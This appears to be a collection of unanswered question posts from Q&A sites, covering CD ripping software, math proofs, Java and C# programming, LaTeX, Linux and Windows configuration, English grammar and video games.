I'm almost ready to say I have found a good OS X replacement for every piece of software I use on Windows (excluding some Windows development tools), but there's still this gap to fill:  For CD digital audio ripping / extraction, I use a tool on Windows called .  I like EAC because:   it supports a very reliable extraction mode by default, it takes advantage of drive features like C2 error correction (and will tell you if your CD-ROM drive doesn't have it) it validates tracks were ripped accurately by consulting an online database, and it reports verbose details about potential issues, when they arise, and I can then listen to the track to see if the issues are perceptible or not.   In a nutshell, I can be confident whether a track was reliably ripped or not when using EAC.  I don't get this sense of confidence from iTunes.  iTunes has an option under Import Settings to Use error correction when reading Audio CDs, but that seems to be the extent of reliability-oriented settings in iTunes. Currently, I'll use iTunes if the disc I'm ripping appears pristine and without scratches – otherwise I turn to EAC.  Is there an application for OS X that, like EAC above, focuses on reliable CD digital audio extraction and provides detailed information?  Thank you.


What is the logic/thinking process behind deriving an expression for even and odd functions in terms of $f(x)$ and $f(-x)$?  I've been pondering about it for a few hours now, and I'm still not sure how one proceeds from the properties of even and odd functions to derive: $$\begin{align*} E(x) &= \frac{f(x) + f(-x)}{2}\\ O(x) &= \frac{f(x) - f(-x)}{2} \end{align*}$$ What is the logic and thought process from using the respective even and odd properties, $$\begin{align*} f(-x) &= f(x)\\    f(-x) &= -f(x) \end{align*}$$   to derive $E(x)$ and $O(x)$?    The best I get to is: For even: $f(x)-f(-x)=0$ and for odd: $f(x)+f(-x)=0$  Given the definition of $E(x)$ and $O(x)$, it makes a lot of sense (hindsight usually is) but starting from just the properties. Wow, I feel I'm missing something crucial.


Do the car body types matter in Rocket League?

Is there any technical difference between the different car body types in Rocket League? Based on my experimentation, there does not seem to be a difference but I could not confirm it.


Under what conditions $J^{T}J$ equals to the Hessian?

The title says it all but for some context:   In robotics the Jacobian maps a robot's joint velocities to the velocities at its end-point.   In some quadratic programming approaches (again in the robotics context) the Hessian is considered as $\mathbf{H}=J^TJ$. Note that in our field often $J\in\mathbb{R}^{m\times n}, n > m$.  My question is, under what conditions $\mathbf{H}=J^TJ$ holds or is a valid approximation. I've seen papers that say this notion isn't valid in some cases.


Will the old version of Airport Utility still be usable if I upgrade to 6.0?

I would like to know if, once I upgrade Airport Utility to version 6.0, the old version I had previously will disappear, and I want to know if I can use both of them (old and new) on the same Mac.


Proof of $\displaystyle\lim_{x\to 0} \frac{e - (1+x)^\frac{1}{x}}{x}=\frac{e}{2}$

I want to prove $$\lim_{x\to 0} \frac{e - (1+x)^\frac{1}{x}}{x}=\frac{e}{2}$$ without using L'Hôpital's rule, and Taylor Series.


Show that $ \lim_{n\to\infty}\sum_{k=1}^{n}\frac{n}{n^2+k^2}= \frac{\pi}{4}$

Show that: $$ \lim_{n\to\infty}\sum_{k=1}^{n}\frac{n}{n^2+k^2}= \frac{\pi}{4}$$ My idea: I thought that this could be rewritten as an integral, then use trig substitution (perhaps tangent) and then solve to get the answer, but I keep getting stuck. I think I am not setting the problem up correctly. Help would be appreciated. Thanks! :)


How do I pass a value from a child back to the parent form? I have a string that I would like to pass back to the parent.  I launched the child using:  FormOptions formOptions = new FormOptions(); formOptions.ShowDialog();


At first, please read 2 below sentences. When I arrived, everybody was sitting round the table and talking. Their mouths were empty, but their stomachs were full. After those sentences which next is more appropriate? Could you explain why?  They had eaten.  vs  They had been eating.  As to me, I think the first one is more suitable, because we know that "their stomachs were full".


Is there any example of a field extension $K/F$ where degree of extension $[K:F]$ is finite  but the number of intermediate field is infinite ?


I have just learned something about universal Generalization in discrete math, and want to know how to prove it. It is


How can I override the OnBeforeUnload dialog and replace it with my own?

I need to warn users about unsaved changes before they leave a page (a pretty common problem). window.onbeforeunload = handler  This works but it raises a default dialog with an irritating standard message that wraps my own text. I need to either completely replace the standard message, so my text is clear, or (even better) replace the entire dialog with a modal dialog using jQuery. So far I have failed and I haven't found anyone else who seems to have an answer. Is it even possible? Javascript in my page: <script type="text/javascript">        window.onbeforeunload = closeIt; </script>  The closeIt() function: function closeIt() {   if (changes == "true" || files == "true")   {       return "Here you can append a custom message to the default dialog.";   } }  Using jQuery and jqModal I have tried this kind of thing (using a custom confirm dialog): $(window).beforeunload(function () {     confirm('new message: ' + this.href + ' !', this.href);     return false; });  which also doesn't work - I cannot seem to bind to the beforeunload event.


SharePoint 2010 - SharePoint Designer notification: The list of workflow actions on the server references an assembly that does not exist

Upon opening a workflow in SharePoint Designer 2010 I receive the following notification in SharePoint Designer:     The list of workflow actions on the server references an assembly that   does not exist. Some actions will not be available. The assembly   strong name is Microsoft.Office.Workflow.Actions, Version=14.0.0.0,   Culture=neutral, PublicKeyToken=71e9bce111e9429c. Contact your server   administrator for more information.   I'm running SharePoint 2010.  Does anyone know how to solve this notification?  Relevant articles:


footmisc hang and multiple only work with english document langage

When I set the document to my local langage, French, and with appropriate quote style in LyX, this preamble doesn't work (neither hang nor multiple, which other options do work),  \usepackage[hang,multiple]{footmisc}   I could visualize the 'hang' behaviour correctly when switching back to English.  Same with 'multiple'.  I am glad to see that hang can even be cumulated with para -- it actually fixes the para layout!  Unfortunately none of them (and maybe other footmisc options aswell) do work in my configuration when setting up the language.  LyX 2.0.5.1 MiKTeX 2.9 up-to-date


how to invoke a Math class function method by string name

hey i want to invoke a Math class Method by String variable conatining a method name of Math class i have tested the below code:-  String spfunc="sin"; Method m=Math.class.getMethod(spfunc,double.class); m.invoke(Math.class, 3.0);   but it resturns an error like this:-  java.lang.IndexOutOfBoundsException: Index: 0, Size: 0 at java.util.ArrayList.rangeCheck(Unknown Source) at java.util.ArrayList.get(Unknown Source) at EquationSolver.solveEquation(EquationSolver.java:112) at EquationSolver.substituteValue(EquationSolver.java:94) at EquationSolver.main(EquationSolver.java:20)   please help me out how to achieve this


[1] "That picture was taken in the park where I used to play."    (Here, 'where' is an relative adverb.      [2] "I remember the day when we first met."    (Here, 'when' is an relative adverb.)   Source :       [3] "Grandma remembers a time when radio shows were popular."    (Here, 'when' is a relative pronoun.)      [4] "I want to visit the island where my grandma was born."   (Here, 'where' is a relative pronoun.)   Source :    It seems to be confusing that "when" and "where" are relative adverbs in sentence [1] & [2] while they're relative pronouns in sentence [3] and [4].   How can we determine whether "when" and "where" are relativel pronouns or relative adverbs?


help me please. [+]-Linux only without windows


I hear I can use a semicolon as a "super-comma", where I'm listing three or more elements that have commas within them. I'm wondering, then, if this is correct:     Our objective function is the annual cost of the abatement methods, which we plan to minimize; our decision variables are the amount of each abatement method we will use for each furnace type; and our constraints are such that our abatement methods are sufficient to achieve the designated amount of pollution control (and that the abatement methods are physically reasonable, i.e. no negative-height smokestacks).   I used the semicolons here because of the comma in the first element, which means the original list is of a "higher order" if you will. Then I matched all the commas of that order to avoid confusion. Am I doing this right?


Windows 7 how to do simple traceroute with ping?

On mac, I can do this:  > ping -DRo computerhope.com     And it will basically do a simple tracepath. Can I do the same thing on Windows 7? How about with cygwin?


Where's the error in this $2=1$ fake proof?

I'm reading Spivak's Calculus:  2 What's wrong with the following "proof"? Let $x=y$. Then $$x^2=xy\tag{1}$$ $$x^2-y^2=xy-y^2\tag{2}$$ $$(x+y)(x-y)=y(x-y)\tag{3}$$ $$x+y=y\tag{4}$$ $$2y=y\tag{5}$$ $$2=1\tag{6}$$  I guess the problem  is in $(3)$, it seems he tried to divide both sides by $(x-y)$. The operation would be acceptable in an example such as:  $$12x=12\tag{1}$$ $$\frac{12x}{12}=\frac{12}{12}\tag{2}$$ $$x=1\tag{3}$$  I'm lost at what should be causing this, my naive exploration in the nature of both examples came to the following: In the case of $12x=12$, we have an imbalance: We have $x$ in only one side then operations and dividing both sides by $12$ make sense. Also, In  $\color{red}{12}\color{green}{x}=12$ we have a $\color{red}{coefficient}$ and a $\color{green}{variable}$, the nature of those seems to differ from the nature of $$\color{green}{(x+y)}\color{red}{(x-y)}=y(x-y)$$ It's like: It's okay to do the thing in $12x=12$, but for doing it on $(x+y)(x-y)=y(x-y)$ we need first to simplify $(x+y)(x-y)$ to $x^2-y^2$.


How do I convert a .mov file to .mp4?  There are a lot of converter tools. But I fear there are a lot of virus infected ones. How would you convert a movie .mov file to .mp4?


I have a string and I need to remove these symbols:  -- + [ ] { } ( ) \ /  For example:      String clean = "This \ is / an example. This -- is + an [(example)].";      clean = clean.replaceAll("[/[()/]]", "");     clean = clean.replaceAll("/-/-", "");      clean = clean.replaceAll("\\/","");     clean = clean.replaceAll("\\\\", " ");     clean = clean.replaceAll("\\+", "");      return clean.replaceAll("[ ]+", " ").trim();   My output should be:  This is an example. This is an example.  My code does not remove everything I need and also I would like to know if there is a shorter way to do this.  --  Just some particularities I should mention: - should be removed only if there are two together.  / should be replaced by a whitespace. I'm going to try to adapt your solutions here. Thanks.


How to view all Unicode characters assigned to keyboard shortcuts?

How can I see what characters are assigned to various key combinations on my keyboard? For example, I found out that if I press Right Alt-Shift--, I'm getting an "m-dash" character: "—". I would like to know all other characters I can get, without having to test them one by one in an editor! Especially given the fact, that some are "combining characters", which makes them even more difficult to test.


How to fix apt: Signature by key uses weak digest algorithm (SHA1)?

I started setting up by adding repositories and then went to run a sudo apt-get update again before I started installing other software, and I get the Signature key lines and it stops. So it essentially won't let me update any packages now.  d@EliteBook:~/Downloads$ sudo apt-get update Ign:1 http://dl.google.com/linux/chrome/deb stable InRelease Hit:2 http://dl.google.com/linux/chrome/deb stable Release                      Hit:4 http://security.ubuntu.com/ubuntu xenial-security InRelease               Get:5 http://ca.archive.ubuntu.com/ubuntu xenial InRelease [247 kB] Hit:6 http://ca.archive.ubuntu.com/ubuntu xenial-updates InRelease Hit:7 http://ca.archive.ubuntu.com/ubuntu xenial-backports InRelease Fetched 247 kB in 0s (256 kB/s)                    Reading package lists... Done W: http://dl.google.com/linux/chrome/deb/dists/stable/Release.gpg: Signature by  key 4CCA1EAF950CEE4AB83976DCA040830F7FAC5991 uses weak digest algorithm (SHA1) d@EliteBook:~/Downloads$   I've never seen this before whenever I setup and start installing things in Ubuntu. Is there something else I can do?


I'm having a hard time to put action listeners on multiple check boxes, that  are on a panel and bordered. Like for example : if a checkbox is selected,than it must update an int, in my case that is total, and if more than one is selected the total must be updated. This is what I'm doing :  public void actionPerformed(ActionEvent a) {     if (hat.isSelected()) {         total += 50;     } }   But I'm getting an error,  One more question, how do I make it so that I can put multiple item listeners in a class. P.s : I'm a beginner at coding GUI-s in Java. Help would be very appreciated.  Exception in thread "AWT-EventQueue-0" java.lang.NullPointerException     at Projekt.actionPerformed(Projekt.java:61)     at javax.swing.AbstractButton.fireActionPerformed(Unknown Source)     at javax.swing.AbstractButton$Handler.actionPerformed(Unknown Source)     at javax.swing.DefaultButtonModel.fireActionPerformed(Unknown Source)   Edit : Added Error Codes


I had my Windows 10 installation, but then I decided to dual boot with Linux. I did it, and I noticed, that I have -2h on the clock on my Linux. I've searched the internet for the answer (the time zone was good). I don't really remember what I did, but I do remember setting ntp to true and hwlclock systohc --rtc, or something like this.  Now the time on my Linux is good, but the time on Windows is 2 hours late. I have to manually go to Adjust date/time -> Sync now to make it right.  I know this is messy, but I can't quite remember what exactly I did on Linux. Now the situation is like this. Is there a way to fix it? Or maybe force Windows to automatically sync, or something?


How would I create a virtual audio device in Ubuntu?

So basically what I want to accomplish is to capture all the raw, mixed audio coming from my system as a raw stream of audio data and send it over the network. In terms of UX, the experience I would want to achieve would be that I can select this  "virtual audio output device" from my system settings in Ubuntu, just as if it were a pair of bluetooth headphones connected to my machine, or a projector with speakers plugged into the HDMI port for example. What I actually want to do in my virtual audio device would be to have access to the raw audio data, so that I could chop it up into packets and send it over a UDP socket. What would be the audio API's I would use to accomplish this? I have done a bit of searching, and it looks like maybe implementing a PulseAudio sink is what I would need to implement?  In other words, is PulseAudio what's behind the scenes when I am choosing output devices in the settings GUI in Ubuntu 18.04? Also, once I have created my "virtual output device", how do I get the system to recognize it as one of the output options?


How can a list be created, whose items are both    enumerated (a,b,c,d,...)  and allow for setting a description via \item[texthere] ?   Im am using MikTex on Windows.


I'm trying to upgrade from 13.04 to 13.10?


Need some help in fixing simple bash script below. What it does is to compare dates in epoch format using if else. The script does not work as I intended because it always goes to the first condition DEPLOY all the time.   Even if I set the deploymentDate variable to be greater than currentDate it still goes to the first condition.   Can anyone suggest on how to fix it?  #!/bin/bash  currentDate=$(date +s% )  deploymentDate=1513516201   if [ "$currentDate" > "$deploymentDate" ]  then      XSL="DEPLOY"  else      XSL="DO NOT DEPLOY"  fi  echo $XSL    Output   DEPLOY


Why is my java stack program terminating without giving output?

I have been trying to solve this problem since 2 days.I am not able to understand what mistake   I am doing.  I am implementing a Stack class Stack1 which has the methods push,pop and peak.  I n the main method of the Stack1 class for each t testcase I am creating Stack1 stack and performing 'n'push pop and peak operations based on inputs given by user   The program is taking inputs but not providing any output  RAther it is just terminating after taking inputs  It would be great if someone would help me. Thank You  Here's my code  import java.io.BufferedReader; import java.io.BufferedWriter; import java.io.IOException; import java.io.InputStreamReader; import java.io.OutputStreamWriter; import java.util.Scanner;  public class Stack1 { static final  int max=1000000;     int top;     int[] arr=new int[max];     Stack1()     {         this.top=-1;      }     public void push(int val)     {         if(top<max-1)         this.arr[++top]=val;     }     public int pop()     {         if(top!=-1)           return arr[top--];              return -110;     }     public int peak()     {         if(top!=-1)         {             int maxi=arr[0];                 for(int i=0;i<=top;i++)                 {                     if(maxi<arr[i])                         maxi=arr[i];                 }             return maxi;         }         return -1;     }     public static void main(String[] args) throws NumberFormatException, IOException {         BufferedReader br=new BufferedReader(new InputStreamReader(System.in));         BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(System.out));         int t=Integer.parseInt(br.readLine());         Stack1[] st=new Stack1[t];          for(int i=0;i<t;i++)         {              st[i]=new Stack1();             int n=Integer.parseInt(br.readLine());             while(n-->0)             {             String[] str=br.readLine().split(" ");                if(str.length==2)               {                   int k=Integer.parseInt(str[1]);                   st[i].push(k);                }              if(str[0]=="R")             {                 int r=st[i].pop();                 if(r==-1)                     bw.write("Empty\n");                 else                     bw.write(r+"\n");             }             if(str[0]=="Q")             {                 int q=st[i].peak();                 if(q==-1)                     bw.write("Empty\n");                 else                     bw.write(q+"\n");              }             }         }         bw.flush();     }   }   I don't know where it is going wrong It is taking all the inputs but is not providing any output //


Field of fractions of integral extension is an algebraic extension

Let $A\subset B$ be an integral extension. If $F$ and $E$ are the fields of fractions of $A$ and $B$, respectively, I want to show that $E$ is an algebraic extension of $F$.  I know that since $A \subset E$, it follows that $F \subset E$. Now I consider an arbitrary element $b_1/b_2\in E$. I would like to show that $b_1/b_2$ is algebraic over $F$. Since $B$ is algebraic over $A$, there exist monic polynomial $f_1(x), f_2(x)\in A[x]$ such that $f_1(b_1) = f_2(b_2) = 0$. But how do I obtain a polynomial $f(x) \in F[x]$ such that $f(b_1/b_2) = 0$?


I have dual boot setup Windows 8 and Ubuntu 16.04 LTS. I have two NTFS partitions - C(system drive having windows 8) and D. I want to access D drive on Ubuntu and don't want to disable hibernation.  NOTE: I have created another NTFS partition from Ubuntu (E drive) and I can read/write it from Ubuntu even if windows hibernation is on. So why I can't D drive?  Is it possible? Can I remove hibernation from D drive? Or is there any other solution?  Thanks!


I look over internet for the file contents but I couldn't where can I find /etc/inputrc contents for Ubuntu 20.04


if A is compact and B is closed, there exist $u$ in $A$ and $v$ in $B$ such that $\|u-v\|=\inf\{\|a-b\|\mid a\text{ in }A\text{ and }b\text{ in }B\}$

I can't prove this theorem. Could you help me? Thanks for your helps. $A$ and $B$ are subsets of an $n$-dimensional Euclidean space. Prove that, if $A$ is compact and $B$ is closed, there exist $u$ in $A$ and $v$ in $B$ such that $\|u-v\|=\inf\{\|a-b\| \mid a \in A\text{ and }b \in B\}$.


P value got 2.6293E-109 is this statistically significant after doing t-test

I was new in using t-test I got p-value 2.6293E-109 is this statistically significant how to represent in article results


Is it possibe to add a password to the Guest Account in Lubuntu?

I'm trying to create a fairly basic Kiosk type installation for a Visitor Centre, but they need to have a password on the machine to make sure they know when somebody wants to use it (so they can charge them). It seems a password can't be set on the Guest account, (which is the ideal type of account for their requirements), is that the case?  If so, is there an alternative anyone might recommend?  I need to make sure that any user cannot mess up the installation, and also cannot mess up the user account. Thanks in advance.


What is equivalent to Dictionary with size one (count) 1 in C#?

I want to create Key/Value Pair but with only one Set, not Dictionary with multiple pairs. (I don't want to use Array of size 2.)  What is the best way to do in C#?


How Do You Enchant, Name, and Give an Item Lore in Minecraft Using a Single Command?

I know how to do the commands already, but I can't seem to be able to get to do it all in one command, because I can't target an already made item so I can enchant, but not name/ give it lore.